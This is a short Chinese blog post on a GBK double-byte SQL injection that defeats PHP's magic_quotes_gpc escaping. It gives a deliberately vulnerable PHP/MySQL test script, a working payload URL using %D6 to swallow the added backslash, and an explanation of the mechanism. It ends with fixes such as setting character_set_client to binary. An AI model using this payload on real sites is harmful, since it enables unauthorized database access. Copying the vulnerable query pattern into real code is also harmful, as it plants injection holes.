http://mo47.com/blog/2011/sql_injection_gpc
利用GBK双字节编码,绕过单引号转义
附赠工具一款:PHP汉字url编码转换器
PHP测试代码如下
/* 注入实验:start */
$id = $_GET['id'];
//建立连接
$conn = false;
$conn = mysql_connect("localhost","root","");
mysql_query("set names 'gbk'");
mysql_select_db("test", $conn);
//执行
$sql = "SELECT id,name FROM table WHERE id = '".$id."' LIMIT 1";
if(!($query = mysql_query($sql,$conn))){
echo mysql_error();
}
$result = array();
while($row = mysql_fetch_array($query,MYSQL_ASSOC)){
$result[] = $row;
}
echo '$id:'.$id."\n";
echo '$sql:'.$sql."\n";
print_r($result);
/* 注入实验:end */
常规注入
URL:http://localhost/a.php?id=10%20AND%201=2
SQL:
SELECT downid,name FROM x_downs WHERE projectid = '10 AND 1=2' LIMIT 1
其中由于projectid = ‘$id’被单引号括住了,1=2,1=1暂时失效了
绕过去吧
不过我们可以通过汉字双字节编码进行注入
URL:http://localhost/a.php?id=10%D6‘%20AND%201=2%23
SQL:
SELECT downid,name FROM x_downs WHERE projectid = '10謀' AND 1=2#' LIMIT 1
可以看到在‘前面加了个%D6后,引号被吃掉了
原理
php会针对URL编码进行decode
decode后,url参数为 ?id=10 0xD6 ‘ 0×20 AND 0×20 1=2 0×23
magic_quotes_gpc处理时会自动转义,即在‘前面加一个\
处理后url参数变成: ?id=10 0xD6 0x5c ‘ 0×20 AND 0×20 1=2 0×23
可以看到,在‘前面PHP会自动加一个0x5c(注:0x5c为\),也就是会自动转义成\’
由于汉字是双字节的,所以0xD6 0x5c被转为謀这个汉字,’之前的\就这样消失了
最后的%23为#,在sql中#是注释,所以后面的’就没用了
最终sql中projectid = ’10謀’在sql执行的时候,由于projectid为int类型字段,mysql会自动intval()处理一下 详情见这里
所以等效于
SELECT downid,name FROM x_downs WHERE projectid = 10 AND 1=2
达到我们成功注入的目的
解决方法
两种
1.对用户的输入信息严格检查和过滤
2.针对本方法,进行如下修改
(1)切勿在连接设置字符集时:set names ‘gbk’
(2)当有类似设置时character_set_connection=gbk, character_set_results=gbk, character_set_client=binary
将character_set_client必须设置为binary
注:主要作用是在传输数据时使用binary的形式,避免了由于php将0xd6和0x5c合成一个汉字的问题